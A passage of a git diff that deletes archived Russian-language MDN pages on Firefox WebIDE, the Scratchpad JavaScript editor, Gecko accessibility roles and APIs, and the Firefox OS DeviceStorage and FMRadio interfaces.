  3. В дополнениях, отключите и заново включите дополнение ADB Helper.
  4. -
  5. Откройте Веб-консоль и вы увидите сообщения с префиксом adb. Если эти сообщения ничего для вас не значат, попросите помощи.
  6. -
- -

Получить помощь

- -

Зайдите на IRC-канал #devtools, и мы постараемся вам помочь.

diff --git "a/files/ru/tools/webide/\320\267\320\260\320\277\321\203\321\201\320\272_webide/index.html" "b/files/ru/tools/webide/\320\267\320\260\320\277\321\203\321\201\320\272_webide/index.html" deleted file mode 100644 index 929a74b817..0000000000 --- "a/files/ru/tools/webide/\320\267\320\260\320\277\321\203\321\201\320\272_webide/index.html" +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Запуск WebIDE -slug: Tools/WebIDE/Запуск_WebIDE -tags: - - Tools - - WebIDE -translation_of: Archive/WebIDE/Opening_WebIDE ---- -
{{ToolsSidebar}}

Есть три способа открытия WebIDE:

- - - -

- -

Нажмите на него и вы увидите как откроется WebIDE:Ниспадающий список слева с надписью «Открыть Приложение» (Open App) позволяет открывать существующие приложения или создавать новые. Ниспадающий список справа с надписью «Выбрать Runtime» (Select Runtime) позволяет выбрать среду исполнения или установить и настроить новую.

- -

Кнопки посередине «запустить», «остановить» и «отладка» приложения активны только, когда уже открыто какое-то приложение и выбрана среда исполнения для него.

- -

You can change the font size throughout WebIDE using the standard keyboard shortcuts (use Command instead of Control on OS X):

- - diff --git "a/files/ru/tools/\321\207\320\265\321\200\320\275\320\276\320\262\320\270\320\272/index.html" "b/files/ru/tools/\321\207\320\265\321\200\320\275\320\276\320\262\320\270\320\272/index.html" deleted file mode 100644 index 2046bd6a74..0000000000 --- "a/files/ru/tools/\321\207\320\265\321\200\320\275\320\276\320\262\320\270\320\272/index.html" +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: Черновик -slug: Tools/Черновик -tags: - - Scratchpad - - Блокнот - - Веб-разработка - - Редактор - - 'веб-разработка:инструменты' - - инструменты -translation_of: Archive/Tools/Scratchpad ---- -
{{ToolsSidebar}}
- -

Простой редактор (Scratchpad, блокнот) JavaScript обеспечивает среду для экспериментов с JavaScript-кодом. Вы можете писать и запускать в нём код, взаимодействующий с содержимым веб-страницы, и проверять результаты его выполнения.

- -

В отличие от Веб-консоли, которая позволяет интерпретировать только одну строку кода за раз, этот редактор позволяет вам редактировать большие фрагменты кода на JavaScript, затем запускать их разными способами в зависимости от того, как вы хотите использовать вывод результата.

- -

{{EmbedYouTube("Pt7DZACyClM")}}

- -

Использование

- -

Открываем редактор в отдельном окне

- -

Чтобы открыть окно редактора JavaScript в отдельном окне:

- - - -

Открытие Редактора в окне Инструменты разработки

- -
Новое в Firefox 47.
- -

Начиная с Firefox 47, вы можете открыть редактор внутри окна "Инструменты разработки". Вначале установите галочку напротив «Простой редактор JavaScript», которая находится  в настройках окна "Инструменты разработки" в области "Инструменты разработчика Firefox по умолчанию".

- -

Теперь Редактор будет доступен в окне "Инструменты", наряду с Инспектором, Консолью, Отладчиком и другими. Это особенно удобно в режиме раздельной консоли: например, можно использовать редактор как постоянный многострочный редактор, и консоль для взаимодесствия со страницей.

- -

Редактирование

- -

Окно Редактора выглядит так (на Mac OS X строка меню находится сверху экрана):

- -

A screenshot of the Scratchpad

- -

Меню File предлагает варианты для сохранения и загрузки фрагментов  JavaScript-кода, так что вы можете повторно использовать код позже, если захотите.

- -

Автозавершение кода

- -

Редактор интегрирует анализатор кода Tern,  и использует его для предоставления автодополнений и всплывающих подсказок с информацией о текущем символе. Для просмотра автодополнений нажмите Ctrl + Space.

- -

Например, напишите d, после нажмите Ctrl + Space. Вы увидите окно с вариантами автодополнений: 

- -

- -

Иконка рядом с каждым вариантом указывает на тип выбираемого элемента. Здесь же по выбранному элементу отображается полезная информация. Можно выбирать разные варианты предложений клавишами and . Для утверждения и вставки слова в текст нажмите Enter or Tab.

- -

Inline documentation

- -

Для просмотра всплывающего окна с документацией нажмите Ctrl + Shift + Space, когда курсор на идентификаторе (Javascript). Например, если вы напишите document.addEventListener, нажмёте Ctrl + Shift + Space, то увидите всплывающее окно, которое показывает краткую информацию о синтаксисе этой функции и краткое описание:

- -

- -

Ссылка [документация] откроет в окне документацию MDN по элементу.

- -

Выполнение кода

- -
-

После того, как вы написали свой код, выделите код, который вы хотите запустить. Если вы ничего не выделите, будет запущен весь код в окне. Затем выберите способ, которым хотите запустить, с помощью одной из кнопок наверху, меню Выполнить в строке меню, или контекстного меню. Код выполняется в контексте выбранной в данный момент вкладке. Все переменные, которые вы определили вне функции, будут добавлены в глобальный объект этой вкладки.

-
- -

Доступны четыре варианта выполнения.

- -

Запуск

- -

Когда вы выбираете опцию Запустить, то выполняется выделенный код. Это способ, которым вы будете выполнять функцию или другой код, который воздействует на содержание вашей страницы. Без необходимости просмотра результата.

- -

Исследовать

- -

Опция Исследовать выполняет код так же, как и Запустить; однако затем открывается объект Инспектор, чтобы вы могли узнать возвращенное кодом значение.

- -

Например, если вы введете код:

- -
window
-
- -

Затем выберите Исследовать, вы получите окно Инспектора, которое может выглядеть примерно так:

- -

Inspecting an object in the Scratchpad

- -

Отобразить

- -

Опция «Отобразить» выполняет выделенный код, затем вставляет результат непосредственно в окно редактора в качестве комментария, так что его можно будет использовать согласно циклу REPL для дальнейшего программирования.

- -

Перезагрузить и запустить

- -

Опция «Перезагрузить и запустить» доступна только в меню Выполнить. Она сначала перезагружает страницу, затем выполняет код по событию страницы «load». Это полезно для выполнения кода в первоначальном окружении.

- -

Запуск Редактора в контексте браузера

- -

Вы можете запустить блокнот в контексте браузера в целом, а не для конкретной веб-страницы. Например, если вы работаете над самим Firefox или разработкой дополнений. Для этого поставьте галочку "Включить инструменты отладки browser chrome и дополнений" в настройках "Инструментов разработки". После этого в меню "Окружение" (в Редакторе) появится опция "Браузер"; как только это произойдет, вашей сферой станет весь браузер, а не только содержимое страницы. Ниже рассмотрен пример, где объект window доступен в любом режиме Окружения, а объект gBrowser только в режиме "Браузер" (иначе появится сообщение об ошибке):

- -
window
-/*
-[object ChromeWindow]
-*/
-
-gBrowser
-/*
-[object XULElement]
-*/
- -

Контекст выполнения Реактора установлен на "Браузер". Если вы открываете файл со скриптом в редакторе, и он первой строкой имеет // -sp-context: browser, то окружение автоматически переключится в режим "Браузер". Это происходит только при открытии.

- -

- -

Сочетания клавиш

- -

{{ Page ("ru/docs/tools/Keyboard_shortcuts", "scratchpad") }}

- -

Сочетания клавиш редактора исходного кода

- -

{{ Page ("ru/docs/tools/Keyboard_shortcuts", "source-editor") }}

diff --git a/files/ru/web/accessibility/at-apis/gecko/index.html b/files/ru/web/accessibility/at-apis/gecko/index.html deleted file mode 100644 index 9cd605e79d..0000000000 --- a/files/ru/web/accessibility/at-apis/gecko/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: Gecko -slug: Web/Accessibility/AT-APIs/Gecko -tags: - - NeedsTranslation - - TopicStub -translation_of: Mozilla/Tech/Accessibility/AT-APIs/Gecko ---- -{{wiki.localize('System.API.page-generated-for-subpage')}} diff --git a/files/ru/web/accessibility/at-apis/gecko/roles/index.html b/files/ru/web/accessibility/at-apis/gecko/roles/index.html deleted file mode 100644 index 3279dc94f1..0000000000 --- a/files/ru/web/accessibility/at-apis/gecko/roles/index.html +++ /dev/null @@ -1,498 +0,0 @@ ---- -title: Gecko Roles -slug: Web/Accessibility/AT-APIs/Gecko/Roles -tags: - - AT_APIs - - Accessibility - - NeedsTranslation - - Reference - - TopicStub -translation_of: Mozilla/Tech/Accessibility/AT-APIs/Gecko/Roles ---- -

« AT APIs Support Page

-

This page offers a list of accessible roles used in Gecko. Role constants are defined in the nsIAccessibleRole interface.

-
-
- ROLE_NOTHING
-
- Used when the accessible item doesn't have a strongly defined role.
-
- ROLE_TITLEBAR
-
- Represents a title or caption bar for a window. Used by MSAA only, this is supported automatically by Microsoft Windows.
-
- ROLE_MENUBAR
-
- Represents the menu bar (positioned beneath the title bar of a window on most platforms or at the top of the screen on Mac OS X) from which menus are selected by the user.
-
- ROLE_SCROLLBAR
-
- Represents a vertical or horizontal scroll bar, which is part of the client area or used in a control.
-
- ROLE_GRIP
-
- Represents a special mouse pointer, which allows a user to manipulate user interface elements such as windows. For example, a user clicks and drags a sizing grip in the lower-right corner of a window to resize it
-
- ROLE_SOUND
-
- Represents a system sound, which is associated with various system events.
-
- ROLE_CURSOR
-
- Represents the system mouse pointer.
-
- ROLE_CARET
-
- Represents the system caret.
-
- ROLE_ALERT
-
- Represents an alert or a condition that a user should be notified about. Assistive Technologies typically respond to the role by reading the entire onscreen contents of containers advertising this role. Should be used for warning dialogs, etc.
-
- ROLE_WINDOW
-
- Represents the window frame, which contains child objects such as a title bar, client, and other objects contained in a window. The role is supported automatically by Microsoft Windows.
-
- ROLE_INTERNAL_FRAME
-
- A sub-document.
-
- ROLE_MENUPOPUP
-
- Represents a menu, which presents a list of options from which the user can make a selection to perform an action.
-
- ROLE_MENUITEM
-
- Represents a menu item, which is an entry in a menu that a user can choose to carry out a command, select an option.
-
- ROLE_TOOLTIP
-
- Represents a tooltip that provides helpful hints; this is generally displayed at the mouse cursor position.
-
- ROLE_APPLICATION
-
- Represents a main window for an application.
-
- ROLE_DOCUMENT
-
- Represents a document window. A document window is always contained within an application window.
-
- ROLE_PANE
-
- Represents a pane within a frame or document window. Users can navigate between panes and within the contents of the current pane, but cannot navigate between items in different panes. Thus, panes represent a level of grouping lower than frame windows or documents, but above individual controls.
-
- ROLE_CHART
-
- Represents a graphical image used to represent data.
-
- ROLE_DIALOG
-
- Represents a dialog box or message box.
-
- ROLE_BORDER
-
- Represents a window border.
-
- ROLE_GROUPING
-
- Logically groups other objects.
-
- ROLE_SEPARATOR
-
- Used to visually divide a space into two regions, such as a separator menu item or a bar that divides split panes within a window.
-
- ROLE_TOOLBAR
-
- Represents a toolbar, which is a grouping of controls (push buttons or toggle buttons) that provides easy access to frequently used features.
-
- ROLE_STATUSBAR
-
- Represents a status bar, which is an area at the bottom of a window that displays information about the current operation, state of the application, or selected object. The status bar has multiple fields, which display different kinds of information.
-
- ROLE_TABLE
-
- Represents a table that contains rows and columns of cells, and optionally, row headers and column headers.
-
- ROLE_COLUMNHEADER
-
- Represents a column header, providing a visual label for a column in a table.
-
- ROLE_ROWHEADER
-
- Represents a row header, which provides a visual label for a table row.
-
- ROLE_COLUMN
-
- Represents a column of cells within a table.
-
- ROLE_ROW
-
- Represents a row of cells within a table.
-
- ROLE_CELL
-
- Represents a cell within a table.
-
- ROLE_LINK
-
- Represents a link to something else. This object might look like text or a graphic, but it acts like a button.
-
- ROLE_HELPBALLOON
-
- Displays a Help topic in the form of a ToolTip or Help balloon.
-
- ROLE_CHARACTER
-
- Represents a cartoon-like graphic object, such as Microsoft Office Assistant, which is displayed to provide help to users of an application.
-
- ROLE_LIST
-
- Represents a list box, allowing the user to select one or more items.
-
- ROLE_LISTITEM
-
- Represents an item in a list.
-
- ROLE_OUTLINE
-
- Represents an outline or tree structure, such as a tree view control, that displays a hierarchical list and allows the user to expand and collapse branches.
-
- ROLE_OUTLINEITEM
-
- Represents an item in an outline or tree structure.
-
- ROLE_PAGETAB
-
- Represents a page tab, it is a child of a page tab list.
-
- ROLE_PROPERTYPAGE
-
- Represents a property sheet.
-
- ROLE_INDICATOR
-
- Represents an indicator, such as a pointer graphic, that points to the current item.
-
- ROLE_GRAPHIC
-
- Represents a picture.
-
- ROLE_STATICTEXT
-
- Represents read-only text, such as labels for other controls or instructions in a dialog box. Static text cannot be modified or selected.
-
- ROLE_TEXT_LEAF
-
- Represents selectable text that allows edits or is designated read-only.
-
- ROLE_PUSHBUTTON
-
- Represents a push button control.
-
- ROLE_CHECKBUTTON
-
- Represents a check box control.
-
- ROLE_RADIOBUTTON
-
- Represents an option button, also called a radio button. It is one of a group of mutually exclusive options. All objects sharing a single parent that have this attribute are assumed to be part of single mutually exclusive group.
-
- ROLE_COMBOBOX
-
- Represents a combo box; an edit control with an associated list box that provides a set of predefined choices.
-
- ROLE_DROPLIST
-
- Represents the calendar control.
-
- ROLE_PROGRESSBAR
-
- Represents a progress bar, dynamically showing the user the percent complete of an operation in progress.
-
- ROLE_DIAL
-
- Represents a dial or knob whose purpose is to allow a user to set a value.
-
- ROLE_HOTKEYFIELD
-
- Represents a hot-key field that allows the user to enter a combination or sequence of keystrokes.
-
- ROLE_SLIDER
-
- Represents a slider, which allows the user to adjust a setting in given increments between minimum and maximum values.
-
- ROLE_SPINBUTTON
-
- Represents a spin box, which is a control that allows the user to increment or decrement the value displayed in a separate "buddy" control associated with the spin box.
-
- ROLE_DIAGRAM
-
- Represents a graphical image used to diagram data.
-
- ROLE_ANIMATION
-
- Represents an animation control, which contains content that changes over time, such as a control that displays a series of bitmap frames.
-
- ROLE_EQUATION
-
- Represents a mathematical equation. It is used by MATHML.
-
- ROLE_BUTTONDROPDOWN
-
- Represents a button that drops down a list of items.
-
- ROLE_BUTTONMENU
-
- Represents a button that drops down a menu.
-
- ROLE_BUTTONDROPDOWNGRID
-
- Represents a button that drops down a grid.
-
- ROLE_WHITESPACE
-
- Represents blank space between other objects.
-
- ROLE_PAGETABLIST
-
- Represents a container of page tab controls.
-
- ROLE_CLOCK
-
- Represents a control that displays time.
-
- ROLE_SPLITBUTTON
-
- Represents a button on a toolbar that has a drop-down list icon directly adjacent to the button.
-
- ROLE_IPADDRESS
-
- Represents an edit control designed for an Internet Protocol (IP) address. The edit control is divided into sections for the different parts of the IP address.
-
- ROLE_ACCEL_LABEL
-
- Represents a label control that has an accelerator.
-
- ROLE_ARROW
-
- Represents an arrow in one of the four cardinal directions.
-
- ROLE_CANVAS
-
- Represents a control that can be drawn into and is used to trap events.
-
- ROLE_CHECK_MENU_ITEM
-
- Represents a menu item with a check box.
-
- ROLE_COLOR_CHOOSER
-
- Represents a specialized dialog that lets the user choose a color.
-
- ROLE_DATE_EDITOR
-
- Represents control whose purpose is to allow a user to edit a date.
-
- ROLE_DESKTOP_ICON
-
- An iconified internal frame in an ROLE_DESKTOP_PANE.
-
- ROLE_DESKTOP_FRAME
-
- A desktop pane. A pane that supports internal frames and iconified versions of those internal frames.
-
- ROLE_DIRECTORY_PANE
-
- A directory pane. A pane that allows the user to navigate through and select the contents of a directory. May be used by a file chooser.
-
- ROLE_FILE_CHOOSER
-
- A file chooser. A specialized dialog that displays the files in the directory and lets the user select a file, browse a different directory, or specify a filename. May use the directory pane to show the contents of a directory.
-
- ROLE_FONT_CHOOSER
-
- A font chooser. A font chooser is a component that lets the user pick various attributes for fonts.
-
- ROLE_CHROME_WINDOW
-
- Frame role. A top level window with a title bar, border, menu bar, etc. It is often used as the primary window for an application.
-
- ROLE_GLASS_PANE
-
- A glass pane. A pane that is guaranteed to be painted on top of all panes beneath it.
-
- ROLE_HTML_CONTAINER
-
- A document container for HTML, whose children represent the document content.
-
- ROLE_ICON
-
- A small fixed size picture, typically used to decorate components.
-
- ROLE_LABEL
-
- Presents an icon or short string in an interface.
-
- ROLE_LAYERED_PANE
-
- A layered pane. A specialized pane that allows its children to be drawn in layers, providing a form of stacking order. This is usually the pane that holds the menu bar as well as the pane that contains most of the visual components in a window.
-
- ROLE_OPTION_PANE
-
- A specialized pane whose primary use is inside a dialog.
-
- ROLE_PASSWORD_TEXT
-
- A text object uses for passwords, or other places where the text content is not shown visibly to the user.
-
- ROLE_POPUP_MENU
-
- A temporary window that is usually used to offer the user a list of choices, and then hides when the user selects one of those choices.
-
- ROLE_RADIO_MENU_ITEM
-
- A radio button that is a menu item.
-
- ROLE_ROOT_PANE
-
- A root pane. A specialized pane that has a glass pane and a layered pane as its children. Its children can include scroll bars and a viewport.
-
- ROLE_SCROLL_PANE
-
- A scroll pane. An object that allows a user to incrementally view a large amount of information.
-
- ROLE_SPLIT_PANE
-
- A split pane. A specialized panel that presents two other panels at the same time. Between the two panels is a divider the user can manipulate to make one panel larger and the other panel smaller.
-
- ROLE_TABLE_COLUMN_HEADER
-
- The header for a column of a table.
-
- ROLE_TABLE_ROW_HEADER
-
- The header for a row of a table.
-
- ROLE_TEAR_OFF_MENU_ITEM
-
- A menu item used to tear off and reattach its menu.
-
- ROLE_TERMINAL
-
- Represents an accessible terminal.
-
- ROLE_TEXT_CONTAINER
-
- Collection of objects that constitute a logical text entity.
-
- ROLE_TOGGLE_BUTTON
-
- A toggle button. A specialized push button that can be checked or unchecked, but does not provide a separate indicator for the current state.
-
- ROLE_TREE_TABLE
-
- Representas a control that is capable of expanding and collapsing rows as well as showing multiple columns of data.
-
- ROLE_VIEWPORT
-
- A viewport. An object usually used in a scroll pane. It represents the portion of the entire data that the user can see. As the user manipulates the scroll bars, the contents of the viewport can change.
-
- ROLE_HEADER
-
- Header of a document page.
-
- ROLE_FOOTER
-
- Footer of a document page.
-
- ROLE_PARAGRAPH
-
- A paragraph of text.
-
- ROLE_RULER
-
- A ruler such as those used in word processors.
-
- ROLE_AUTOCOMPLETE
-
- A text entry having dialog or list containing items for insertion into an entry widget, for instance a list of words for completion of a text entry.
-
- ROLE_EDITBAR
-
- An editable text object in a toolbar.
-
- ROLE_ENTRY
-
- An control whose textual content may be entered or modified by the user.
-
- ROLE_CAPTION
-
- A caption describing another object.
-
- ROLE_DOCUMENT_FRAME
-
- A visual frame or container which contains a view of document content. Document frames may occur within another Document instance, in which case the second document may be said to be embedded in the containing instance. HTML frames are often ROLE_DOCUMENT_FRAME. Either this object, or a singleton descendant, should implement the Document interface.
-
- ROLE_HEADING
-
- Heading.
-
- ROLE_PAGE
-
- An object representing a page of document content. It is used in documents which are accessed by the user on a page by page basis.
-
- ROLE_SECTION
-
- A container of document content.
-
- ROLE_REDUNDANT_OBJECT
-
- An object which is redundant with another object in the accessible hierarchy. ATs typically ignore objects with this role.
-
- ROLE_FORM
-
- A container of form controls.
-
- ROLE_IME
-
- An object which is used to allow input of characters not found on a keyboard, such as the input of Chinese characters on a Western keyboard.
-
- ROLE_APP_ROOT
-
-  ???
-
- ROLE_PARENT_MENUITEM
-
- Represents a menu item, which is an entry in a menu that a user can choose to display another menu.
-
- ROLE_CALENDAR
-
- A calendar that allows the user to select a date.
-
- ROLE_COMBOBOX_LIST
-
- A list of items that is shown by combobox.
-
- ROLE_COMBOBOX_OPTION
-
- A item of list that is shown by combobox
-
- ROLE_IMAGE_MAP
-
- An image map -- has child links representing the areas
-
- ROLE_OPTION
-
- An option in a listbox
-
- ROLE_RICH_OPTION
-
- A rich option in a listbox, it can have other widgets as children
-
- ROLE_LISTBOX
-
- A list of options
-
-
-

Editor's note: Use template ROLE_ to get reference on accessible role. It looks like ROLE_MENUITEM.

-
diff --git a/files/ru/web/accessibility/at-apis/gecko/roles/role_document/index.html b/files/ru/web/accessibility/at-apis/gecko/roles/role_document/index.html deleted file mode 100644 index 0116e62762..0000000000 --- a/files/ru/web/accessibility/at-apis/gecko/roles/role_document/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: ROLE_DOCUMENT -slug: Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DOCUMENT -translation_of: Mozilla/Tech/Accessibility/AT-APIs/Gecko/Roles/ROLE_DOCUMENT ---- -

« Gecko Roles Page

-

Represents a document window. A document window is always contained within an application window.

-

Interfaces

- -

Mapped to

- -

Used by

- -

diff --git a/files/ru/web/accessibility/at-apis/gecko/roles/role_password_text/index.html b/files/ru/web/accessibility/at-apis/gecko/roles/role_password_text/index.html deleted file mode 100644 index 3157da6c12..0000000000 --- a/files/ru/web/accessibility/at-apis/gecko/roles/role_password_text/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: ROLE PASSWORD TEXT -slug: Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PASSWORD_TEXT -translation_of: Mozilla/Tech/Accessibility/AT-APIs/Gecko/Roles/ROLE_PASSWORD_TEXT ---- -

 

- -

« Gecko Roles Page

- -

Description

- -

A text object uses for passwords, or other places where the text content is not shown visibly to the user.

- -

Mapped to

- - - -

Used by

- - diff --git a/files/ru/web/accessibility/at-apis/index.html b/files/ru/web/accessibility/at-apis/index.html deleted file mode 100644 index 43b7f1d8b6..0000000000 --- a/files/ru/web/accessibility/at-apis/index.html +++ /dev/null @@ -1,176 +0,0 @@ ---- -title: AT APIs Support -slug: Web/Accessibility/AT-APIs -tags: - - AT_APIs - - Accessibility - - NeedsTranslation - - TopicStub -translation_of: Mozilla/Tech/Accessibility/AT-APIs ---- -

Introduction

- -
Documentation is in progress still. But in the meantime it more up-to-date and contains more details than existed analogues for AT-SPI and MSAA
- -

This documentation explains how makers of screen readers, voice dictation packages, onscreen keyboards, magnification software and other assitive technologies can support Gecko-based software. We provide for them the support of these products on Windows, Linux/Unix and OS X platforms.

- -

Accessible Gecko

- -

Gecko is a rendering engine that Firefox, SeaMonkey, Netscape and yelp use. Gecko can render a variety of content, not just HTML and supports key web standards such as Cascading Style Sheets, Javascript and the W3C DOM. Gecko also handles the users keystrokes and mouse clicks. Gecko is the core architecture that we are adding accessibility to, in order to support basic accessibility in all applications that are based on it.

- -

Gecko Based Applications

- -

Gecko can be used in two ways to create application:

- -

Embedded Clients

- -

Embedded clients use Gecko only in the content window, at the moment for HTML and generic XML only. They typically use standard Windows controls for their user interface -- the area outside of the client content window, plus the context menu.

- - - -

XUL Applications

- -

XUL applications make full use of the Gecko architecture, not only for HTML content, but also for the entire user interface. Widgets such as menus, tab panels, tree views and dialogs are provided via an XML language called XUL (eXtensible User-interface Language). None of the user interface contains standard OS controls. This is done to ensure a common look and feel across all supported platforms, and to allow for different skins (appearances). Developing a XUL window is not that different from developing a web page, but the elements available to add widgets are more powerful and designed to be similar to desktop widgets.

- -

Examples of XUL applications:

- - - -

Gecko Version

- -

For Firefox and all other Gecko-based products: this documentation applies to up-to-date product builds based on Gecko 1.9.2 -- currently not available on official releases. However most of described features are supported starting from Gecko 1.9.0 (Firefox 3.0). However it's preferable to grab the current build of Firefox or any other Gecko-based product to be up to dated:

- - - -

Determining if Accessibility is Enabled in a Firefox

- -

Accessibility is enabled on Windows and Linux platforms by default. As well you might find helpful the about:accessibilityenabled Firefox extension.

- -

Supported AT APIs

- -

AT APIs terms

- -
-
Microsoft Active Accessibility (MSAA)
-
an API devised by Microsoft so that accessibility aids can track what's going on inside the user interface of any software package that supports it. If you seriously need to understand MSAA, you'll need to read the docs on MSDN and play with the sample apps and code that come with MSAA SDK 1.3. (I recommend SDK 1.3 because the MSAA SDK 2.0 doesn't come with the source code to the testing tools. The other differences are not important).
-
IAccessible2 (IA2)
-
IAccessible2 is a new accessibility API which complements Microsoft's earlier work on MSAA. This API fills critical accessibility API gaps in the MSAA offering.
-
Assistive Technology Service Provider Interface (AT-SPI)
-
an API devised by Sun Microsystems so that accessibility aids can track what's going on inside the user interface of any software package that supports it. If you seriously need to understand AT-SPI, you'll need to read the docs on gnome.org and play with the available sample apps and code, such as at-poke. Please note that the web docs are sometimes out of date, and the latest AT-SPI is available on CVS.
-
Universal Access (UA)
-
Universal Access (UA) is the Apple's accessibility framework.
-
- -

Windows platform

- -

We support MSAA (Microsoft Active Accessibility) and IAccessible2 on Windows. Also we expose MS COM interfaces ISimpleDOM* to provide an access to DOM tree.

- -

IAccessible2 is a set of interfaces that overlay the MSAA (IAccessible) and DOM (ISimpleDOM*) interface support. Any object that supports IAccessible will also support IAccessible2 and possibly any of the other IA2 interfaces.

- -

Linux/Unix platform

- -

We support ATK/AT-SPI interfaces on Linux.

- -

Mac platform

- -

We currently support only a subset of Universal Access. The rest of the Mozilla Universal Access support is in progress.

- -

Accessible Web Specifications

- -

Gecko exposes the number of XML languages including HTML to AT. Refer to accessible web specifications page to learn what and how markup languages are exposed.

- -

AT APIs Implementation Details

- -

Refer to implementation details page to see how Gecko supports interesting AT API. There you will find information how AT API interfaces, roles, states and etc are mapped into Gecko accessibility API and visa versa.

- -

Keyboard User Interface and API

- -

Fortunately, Gecko uses the standard keyboard API's for each supported platform. The Mozilla keyboard shortcuts for content are similar to what is used in other browsers. Here is a list of Firefox keyboard shortcuts.

- -

Test Tools

- -

Here you will find a list of tools to test accessibility Gecko-based applications.

- - - -

Screen Readers

- -

Here's a list of screen readers we are oriented to in the first place.

- - - -

Contacts

- -

Please discuss accessibility issues on the Mozilla Accessibility groups or on the Mozilla Accessibility IRC channel.

diff --git a/files/ru/web/api/devicestorage/index.html b/files/ru/web/api/devicestorage/index.html deleted file mode 100644 index 00c3b20192..0000000000 --- a/files/ru/web/api/devicestorage/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: DeviceStorage -slug: Web/API/DeviceStorage -tags: - - API - - Device Storage - - WebAPI -translation_of: Archive/B2G_OS/API/DeviceStorage ---- -

{{ ApiRef() }}

-

{{ non-standard_header() }}

-

{{ B2GOnlyHeader2('certified') }}

-

Введение

-

DeviceStorage — интерфейс, используемый для доступа к файлам в особом хранилище (или области хранения), доступном на устройстве. Это хранилище, по сути, является файловой системой — хотя оно на самом деле скрывает нижележащую файловую системы.

-

Чтобы получить доступ к хранилищу, необходимо использовать метод {{domxref("window.navigator.getDeviceStorage()","navigator.getDeviceStorage()")}} , возвращающую объекты DeviceStorage. Затем вы сможете использовать методы и свойства этих объектов, чтобы получить доступ к содержимому хранилища.

-

Свойства

-
-
- {{domxref("DeviceStorage.storageName")}} {{readonlyinline}}
-
- Строка, представляющая имя области хранения. Та же, что используется при вызове {{domxref("window.navigator.getDeviceStorage()","getDeviceStorage")}} чтобы получить объект DeviceStorage.
-
- {{domxref("DeviceStorage.default")}} {{readonlyinline}}
-
- Логическое значение, указывающее, назначено ли это хранилище по умолчанию для хранения новых файлов (true) или нет (false).
-
-

Обработчики событий

-
-
- {{domxref("DeviceStorage.onchange")}}
-
- Обрабатывает событие {{event("change")}}. Это событие происходит каждый раз, когда содержимое хранилища меняется.
-
-

Функции

-
-
- {{ domxref("DeviceStorage.add()") }}
-
- Создает файл в области хранения. Имя файла генерируется автоматически.
-
- {{ domxref("DeviceStorage.addNamed()") }}
-
- Создает файл в области хранения. Имя файла задается при вызове функции.
-
- {{ domxref("DeviceStorage.available()") }}
-
- Возвращает available если хранилище доступно для использования и shared если устройство подключено к ПК.
-
- {{ domxref("DeviceStorage.delete()") }}
-
- Удаляет файл из области хранения.
-
- {{ domxref("DeviceStorage.enumerate()") }}
-
- Возвращает список файлов, доступных в области хранения. Полученные файлы доступны только для чтения.
-
- {{ domxref("DeviceStorage.enumerateEditable()") }}
-
- Возвращает список файлов, доступных в области хранения.
-
- {{ domxref("DeviceStorage.freeSpace()") }}
-
- Возвращает количество свободного места, доступного в области хранения.
-
- {{ domxref("DeviceStorage.get()") }}
-
- Возвращает файлы, доступные только для чтения.
-
- {{ domxref("DeviceStorage.getEditable()") }}
-
- Возвращает файлы, доступные для редактирования.
-
- {{ domxref("DeviceStorage.usedSpace()") }}
-
- Возвращает количество занятого места в области хранения.
-
-

Обработчики событий

-

Функции, наследованные от {{domxref("EventTarget")}} интерфейса:

-

{{page("/en-US/docs/Web/API/EventTarget","Methods")}}

-

Спецификация

-

Не является частью какой-либо спецификации.

-

Смотрите также

- diff --git a/files/ru/web/api/fmradio/index.html b/files/ru/web/api/fmradio/index.html deleted file mode 100644 index 0d889f3956..0000000000 --- a/files/ru/web/api/fmradio/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: FMRadio -slug: Web/API/FMRadio -translation_of: Archive/B2G_OS/API/FMRadio ---- -

{{ APIRef("FMRadio API")}}{{ non-standard_header() }}

- -

{{ B2GOnlyHeader2('installed') }}

- -

Summary

- -

WebFM API предоставляет доступ к модулю FM радио устройства. Этот интерфейс поможет Вам включить или выключить FM радио и настроить его на нужную станцию. Это достижимо с помощью параметра {{domxref("window.navigator.mozFMRadio","navigator.mozFMRadio")}}.

- -

Обзор API

- -
interface FMRadio : EventTarget {
-   readonly attribute boolean enabled;
-   readonly attribute boolean antennaAvailable;
-   readonly attribute double frequency;
-   readonly attribute double frequencyUpperBound;
-   readonly attribute double frequencyLowerBound;
-   readonly attribute double channelWidth;
-
-   attribute Function onantennaavailablechange;
-   attribute Function onfrequencychange;
-   attribute Function onenabled;
-   attribute Function ondisabled;
-
-   DOMRequest enable(double frequency);
-   DOMRequest disable();
-   DOMRequest setFrequency(double frequency);
-   DOMRequest seekUp();
-   DOMRequest seekDown();
-   DOMRequest cancelSeek();
-}
- -

Параметры

- -
-
{{domxref("FMRadio.enabled")}}
-
Показывает играет ли радио
-
{{domxref("FMRadio.antennaAvailable")}}
-
Показывает доступна ли антенна
-
{{domxref("FMRadio.frequency")}}
-
Текущая частота радио.
-
{{domxref("FMRadio.frequencyUpperBound")}}
-
Максимальная частота по которой можно найти радиостанцию
-
{{domxref("FMRadio.frequencyLowerBound")}}
-
Минимальная частота по которой можно найти радиостанцию
-
{{domxref("FMRadio.channelWidth")}}
-
Частота текущей радиостанции, в МГц.
-
- -

Event handlers

- -
-
{{domxref("FMRadio.onenabled")}}
-
A handler for the {{event("enabled")}} event; It is triggered when the radio has been turned on
-
{{domxref("FMRadio.ondisabled")}}
-
A handler for the {{event("disabled")}} event; It is triggered when the radio has been turned off
-
{{domxref("FMRadio.onantennaavailablechange")}}
-
A handler for the {{event("antennaavailablechange")}} event; It is triggered when an antenna is plugged or unplugged
-
{{domxref("FMRadio.onfrequencychange")}}
-
A handler for the {{event("frequencychange")}} event; It is triggered whenever the radio frequency is changed
-
- -

Методы

- -
-
{{domxref("FMRadio.enable()")}}
-
Turns on the radio on the given frequency. This function throws if called with no argument. Returns a {{domxref("DOMRequest")}} for the success or error of the operation.
-
{{domxref("FMRadio.disable()")}}
-
Turns the radio off. Returns a {{domxref("DOMRequest")}} which success indicates that the radio has properly been disabled
-
{{domxref("FMRadio.setFrequency()")}}
-
